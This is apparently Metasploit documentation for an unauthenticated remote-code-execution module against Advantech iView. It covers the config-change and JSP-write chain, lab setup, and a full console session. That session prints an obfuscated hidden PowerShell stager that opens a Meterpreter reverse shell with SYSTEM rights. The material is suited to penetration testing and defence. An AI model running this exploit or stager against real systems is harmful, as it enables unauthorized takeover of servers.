## Vulnerable Application
This module exploits an unauthenticated configuration change combined with an unauthenticated file write primitive,
leading to an arbitrary file write that allows for remote code execution as the user running iView, which is typically
NT AUTHORITY\SYSTEM.

The exploit functions by first modifying a configuration value to be a writable path in the webroot. An export function
is then leveraged to write JSP content into the previously configured which can then be requested to trigger the
execution of an OS command within the context of the application. Once completed, the original configuration value is
restored.

### Setup (Windows)

1. Follow each of the steps from the iView Installation Instructions guide that is distributed with the application.
    * The installer contains the necessary dependencies. This guide will outlines the steps necessary for configuring
      each of them.
1. Once the installation is complete, the "Installation Verification" step (Step 6) will most likely fail. This is
  because the "Apache Tomcat 6" service is not running. Attempting to start it will fail. To correct this issue:
    1. Copy the `msvcr100.dll` file from `C:\Program Files (x86)\Java\jre7\bin` to `C:\Program Files (x86)\iView\Apache
      Software Foundation\Tomcat6.0\bin`.
    1. Restart the "Apache Tomcat 6" service.
1 At this point, the application should be listening on port 8080 and no additional configuration is necessary.

## Verification Steps

1. Install the application (see the "Setup" section)
1. Start msfconsole
1. Do: `use exploit/windows/http/advantech_iview_unauth_rce`
1. Set the `RHOST` and `PAYLOAD` options as applicable
1. Do: `run`
1. You should get a shell.

## Scenarios
### Windows 10 v1909 x64 running Advantech iView 5.7.0002.5992

```
msf6 exploit(windows/http/advantech_iview_unauth_rce) > set RHOSTS 192.168.159.30
RHOSTS => 192.168.159.30
msf6 exploit(windows/http/advantech_iview_unauth_rce) > check
[*] 192.168.159.30:8080 - The target appears to be vulnerable.
msf6 exploit(windows/http/advantech_iview_unauth_rce) > exploit

[*] Started HTTPS reverse handler on https://192.168.159.128:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Retrieving config
[+] Successfully retrieved config
[*] Updating config
[+] Successfully updated config
[*] Writing JSP stub
[+] Successfully wrote JSP stub
[*] Executing PowerShell Stager for windows/x64/meterpreter/reverse_https
[*] Executing command: cmd.exe /c powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('' ''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[+] Successfully executed command
[*] Restoring config
[+] Successfully restored config
[*] https://192.168.159.128:8443 handling request from 192.168.159.30; (UUID: romk3zgq) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.159.128:8443 -> 192.168.159.30:62405) at 2021-03-22 15:01:57 -0400
[!] This exploit may require manual cleanup of 'webapps\iView3\SpmIkVwVxCmze0kQ8PhSUVHXRrRNLa.jsp' on the target

meterpreter >
[+] Deleted webapps\iView3\SpmIkVwVxCmze0kQ8PhSUVHXRrRNLa.jsp

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-RTCRBEV
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >
```
